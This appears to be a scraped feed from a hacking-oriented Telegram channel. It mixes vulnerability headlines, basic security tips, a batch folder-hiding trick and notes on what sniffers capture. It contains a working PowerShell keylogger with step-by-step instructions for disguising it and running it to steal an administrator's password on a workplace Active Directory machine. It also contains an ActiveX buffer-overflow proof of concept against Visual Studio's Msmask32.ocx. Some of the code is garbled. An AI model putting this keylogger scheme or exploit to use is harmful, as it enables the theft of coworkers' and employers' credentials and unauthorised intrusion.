UNDERCODE COMMUNITY
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πŸ¦‘ Undercode Cyber World!
@UndercodeCommunity


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@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

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Forwarded from UNDERCODER
New Unpatched IBM QRadar SIEM vulnerability could allow a attacker can bypass access restrictions to data.
#Vulnerabilities

READ MORE - https://undercodenews.com/new-unpatched-ibm-qradar-siem-vulnerability-could-allow-a-attacker-can-bypass-access-restrictions-to-data/07/11/2020/
Forwarded from UNDERCODE NEWS
Largest cryptocurrency seizure: $1,000,000,000 was seized from the wallet of the Silk Road.
#DataBreaches
Forwarded from UNDERCODE NEWS
New Critical unpatched Vulnerability in Micro Focus can leak the password login.
#Vulnerabilities
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πŸ¦‘What is PaaS?

1) Platform-as-a-Service (PaaS) is a cloud computing model that provides a platform on which customers can develop, secure, run, and manage web applications.
It provides an optimized environment in which different teams can develop and deploy applications without buying or managing the underlying IT infrastructure and related services.

2) Typically, the platform provides the necessary resources and infrastructure to support the entire software development and deployment lifecycle, while providing developers and users with access from anywhere over the Internet.

3) The benefits of PaaS include, but are not limited to, simplicity, convenience, lower cost, flexibility, and scalability.

4) Typically PaaS protection differs from a traditional on-premises datacenter, as we'll see.

5) The PaaS environment is based on a shared security model.

6) The provider protects the infrastructure, and PaaS customers are responsible for protecting their accounts, applications, and data hosted on the platform.
Ideally, security moves from a local security model to an identity perimeter.

This means that the PaaS customer must place more emphasis on identity as the primary security perimeter.

Issues to look out for include security, testing, code, data and configuration, employees, users, authentication, operations, monitoring, and logs.

@UndercodeTesting
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πŸ¦‘How to create a hidden folder with password in Win system:

1) First create a folder and name it "hidden files";

2) Then open the folder, then right-click the mouse in the blank area of ​​the window and select the "New β†’ Text Document" command to create a text file;

3) Copy the following code into the newly created text file:

@ECHO OFF
γ€€γ€€title Folder Private
γ€€γ€€if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
γ€€γ€€if NOT EXIST Private goto MDLOCKER
γ€€γ€€:CONFIRM
γ€€γ€€echo Are you sure you want to lock the folder(Y/N)
γ€€γ€€set/p "cho=>"
γ€€γ€€if %cho%==Y goto LOCK
γ€€γ€€if %cho%==y goto LOCK
γ€€γ€€if %cho%==n goto END
γ€€γ€€if %cho%==N goto END
γ€€γ€€echo Invalid choice.
γ€€γ€€goto CONFIRM
γ€€γ€€:LOCK
γ€€γ€€ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
γ€€γ€€attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
γ€€γ€€echo Folder locked
γ€€γ€€goto End
γ€€γ€€:UNLOCK
γ€€γ€€echo Enter password to unlock folder
γ€€γ€€set/p "pass=>"
γ€€γ€€if NOT %pass%== PASSWORD_GOES_HERE goto FAIL
γ€€γ€€attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
γ€€γ€€ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
γ€€γ€€echo Folder Unlocked successfully
γ€€γ€€goto End
γ€€γ€€:FAIL
γ€€γ€€echo Invalid password
γ€€γ€€goto end
γ€€γ€€:MDLOCKER
γ€€γ€€md Private
γ€€γ€€echo Private created successfully
γ€€γ€€goto End
γ€€γ€€:End
4) replace "PASSWORD_GOES_HERE" with the password you want, such as: 12345, the final effect is: if NOT %pass%== 12345 goto FAIL;

5) Then save the text file as .bat format, the file name can be set to "locker.bat", reminder, set the save type to "all files" to save successfully;

6) Double-click the "Locker.bat" file again to make the contents of the "Private" folder disappear. Enter "Y" in the command prompt window that appears and press Enter; at this time, we found that the folder is hidden

@UndercodeTesting
don't clone our tips:)
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πŸ¦‘Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF PoC for 2008-2012 versions:

var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" width="10"><PARAM NAME="Mask" VALUE="'; var body1='"></OBJECT>'; var buf='';


var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC"
width="10"><PARAM NAME="Mask" VALUE="';

var body1='"></OBJECT>';

var buf='';
for (i=1;i<=1945;i ){buf=buf unescape(" ");}


document.write(body buf body1);

@UndercodeTesting
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πŸ’‰ App security tips for mobile, web, and desktop apps :

1) Make sure your application has no vulnerabilities.
The most dangerous threat to an application is its own vulnerabilities and flaws.

Make sure there are no known vulnerabilities in your application.

It can be as a web application, mobile application, or desktop application, and the vulnerability remediation will help prevent threats.

2) Consider testing the security of your application before shipping it to production.
To eliminate the vulnerability, you can conduct security testing of your applications.

Security testing doesn't slow down the development process.

Security testing helps you find and fix vulnerabilities in your application, as well as make your applications more efficient.

Therefore, consider checking the security of your applications before going into production.

3) Bug Bounty program
Many large companies such as Mozilla, Facebook, Yahoo!, Google, Reddit, Square, and Microsoft are organizing Bug Bounty programs to identify vulnerabilities in their applications.

This program allows your organization to find and fix bugs before they become known to the public or known hackers.

This way you can prevent incidents.

4) Train your organization on application security best practices.
You can also protect your apps by educating your employees about their security.

Knowledge of cybersecurity can help your organization counter the threats of your applications.

5) Use an automatic scanner to keep the application secure.
Scanning your entire application is also a good security measure.

Consider using an automated scanner to scan that will run tests daily.

You can also use vulnerability scanning tools that are automated.

Vulnerability scanning tools will search your applications for vulnerabilities such as cross-site scripting, SQL injection, command injection, path traversal, etc.

6) Think Before Using Open Source In Your Application
open source can be vulnerable.

Thus, using open source code in your application can leave your applications vulnerable to cyber attacks.

So think twice before using open source in your application.

Riskemy.com says, "Just one line of broken code can destroy an entire site."

7) Consider encrypting your application source code.
Source code encryption ensures that an attacker cannot gain access to the source code of your applications.

8) Penetration testing also helps protect your applications
Penetration testing is also a pentest.

Penetration testing is useful for protecting cybercriminal applications.

Penetration testing is the practice of discovering vulnerabilities in a computer system, network, or web application that an attacker could exploit.

@UndercodeTesting
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Forwarded from UNDERCODE NEWS
New Samsung Vulnerability allows attackers to bypass authentication for a locked Gallery.
#Vulnerabilities
Forwarded from UNDERCODE NEWS
Many unpatched Vulnerabilities in android LG devices.
#Vulnerabilities
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πŸ¦‘How to check for unnecessary subscriptions on iPhone?
#FastTips

1) These days, one-time purchases of games, music, books, news, movies, and TV shows on mobile are being replaced by monthly subscriptions. It is enough to subscribe once and the funds will be automatically debited every month. There are free trial periods, to gain access to which you also need to subscribe to the service. After that, you can forget to unsubscribe if you don't want to pay. Or some don't know how to unsubscribe. We will tell you how to avoid such troubles.

2) There are several ways to check for subscriptions on iPhone, whether paid or free. Subscriptions made with your Apple ID account are verified. Services like Apple Arcade, Apple News +, Apple Music, Apple TV +, Apple TV, and third-party services appear in one place.

3) You can access the subscription management page from applications such as Books, Music, iTunes Store. The fastest way to do this is in system settings, App Store and TV apps.

Settings: Apple ID -> Subscriptions

Profile icon (in Today, Games, Apps and Arcade) -> subscriptions on the app Store

4) Settings (left), App Store (center), TV (right)

Once on the subscription page, you will see all subscriptions associated with your Apple ID account, active and expired. To cancel, click under the active ones, then click "Cancel free trial" or "Cancel subscription", then in the window click "Confirm".

5) Keep in mind that these are only Apple ID-related subscriptions. You may have others with other accounts that do not appear on this page. If you suspect the existence of such subscriptions, check the corresponding applications. Examples include subscriptions to GrubHub, DoorDash, Netflix, Hulu.

@UndercodeTesting
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Forwarded from UNDERCODE NEWS
Tech giants face more investigations, Apple’s app store can’t stand alone.
#international
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πŸ¦‘βš™οΈHow to get an admin password on a work PC in an Active Directory domain?

A) First, find the location of the shortcut for the installed PowerShell ISE. Usually it is located at C: \ Users \ Username \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Windows PowerShell, find the Windows PowerShell ISE file and in the properties, on the shortcut tab change its shortcut to something inconspicuous, for example an icon of a folder or an icon of software allowed in the organization in * .ico format, for example 1C.

B) I will indicate the shortcut of the IE browser, since everyone has it and is often not prohibited from use by security policies, since most government sites work correctly on the client side only on it. Now, after launch, the IE icon will be displayed in the start menu bar, which will not arouse suspicion.


c) Then open Windows PowerShell ISE and copy the keylogger script code:

#requires -Version 2

function Start-KeyLogger ($ Path = "$ env: temp \ keylogger.txt")

{

# Signatures for API Calls

$ signatures = @ '

[DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]

public static extern short GetAsyncKeyState (int virtualKeyCode);

[DllImport ("user32.dll", CharSet = CharSet.Auto)]

public static extern int GetKeyboardState (byte [] keystate);

[DllImport ("user32.dll", CharSet = CharSet.Auto)]

public static extern int MapVirtualKey (uint uCode, int uMapType);

[DllImport ("user32.dll", CharSet = CharSet.Auto)]

public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

'@

# load signatures and make members available

$ API = Add-Type -MemberDefinition $ signatures -Name 'Win32' -Namespace API -PassThru


# create output file

$ null = New-Item -Path $ Path -ItemType File -Force

try

{

Write-Host 'Recording key presses. Press CTRL + C to see results. ' -ForegroundColor Red




# create endless loop. When user presses CTRL + C, finally-block

# executes and shows the collected key presses

while ($ true) {

Start-Sleep -Milliseconds 40



# scan all ASCII codes above 8

for ($ ascii = 9; $ ascii -le 254; $ ascii ++) {

# get current key state

$ state = $ API :: GetAsyncKeyState ($ ascii)




# is key pressed?

if ($ state -eq -32767) {

$ null = [console] :: CapsLock




# translate scan code to real code

$ virtualKey = $ API :: MapVirtualKey ($ ascii, 3)




# get keyboard state for virtual keys

$ kbstate = New-Object Byte [] 256

$ checkkbstate = $ API :: GetKeyboardState ($ kbstate)




# prepare a StringBuilder to receive input key

$ mychar = New-Object -TypeName System.Text.StringBuilder




# translate virtual key

$ success = $ API :: ToUnicode ($ ascii, $ virtualKey, $ kbstate, $ mychar, $ mychar.Capacity, 0)




if ($ success)

{

# add key to logger file

[System.IO.File] :: AppendAllText ($ Path, $ mychar, [System.Text.Encoding] :: Unicode)

}

}

}

}

}

finally

{

# open logger file in Notepad

notepad $ Path

}

}




# records all key presses until script is aborted by pressing CTRL + C

# will then open the file with collected key codes

πŸ¦‘Start-KeyLogger

Now we create an application for installing software or ask the admin to install some legitimate program for us. Before the administrator connects to you remotely or comes in person for the specified work, we launch our script with the Run script command

@UndercodeTesting
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πŸ¦‘the content that sniffer cares about can be divided into the following categories:

1) Password
I think this is the reason for the vast majority of illegal use of sniffer, sniffer can record the userid and passwd transmitted in plain text. Even if you use encryption during network transmission Data, like the data recorded by sniffer, may cause the intruder to work out your algorithm while eating skewers at home.

2) Financial account
Many users are at ease using their credit card or cash account on the Internet, but sniffers can easily intercept the user name, password, credit card number, expiration date, account number, and pin sent on the Internet.

3) keeping confidential or sensitive information and data
through interception Data packets, intruders can easily record the transfer of sensitive information between others, or simply intercept the entire email conversation process.

4) Spy on low-level protocol information.
This is a terrible thing, I think, by recording the underlying information protocol, such as recording the network interface address between two hosts, the remote network interface ip address, ip routing information, and the byte order number of the tcp connection. This information will pose a great harm to network security after being held by an illegal intruder. Usually someone uses sniffers to collect this information for only one reason: he is conducting a fraud, (usually ip address fraud requires you to accurately insert the tcp connection Byte order number, which will be pointed out in a later article) If someone is very concerned about this issue, then the sniffer is just a prelude to him, and the problem will be much bigger in the future. (For advanced hackers, I think this is the only reason to use sniffers)

@UndercodeTesting
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InfoZip UnZip 6.00 and 6.1c22 Buffer Overflow .pdf
1.6 MB
Real Methode :
InfoZip UnZip 6.00 / 6.1c22 Buer Overow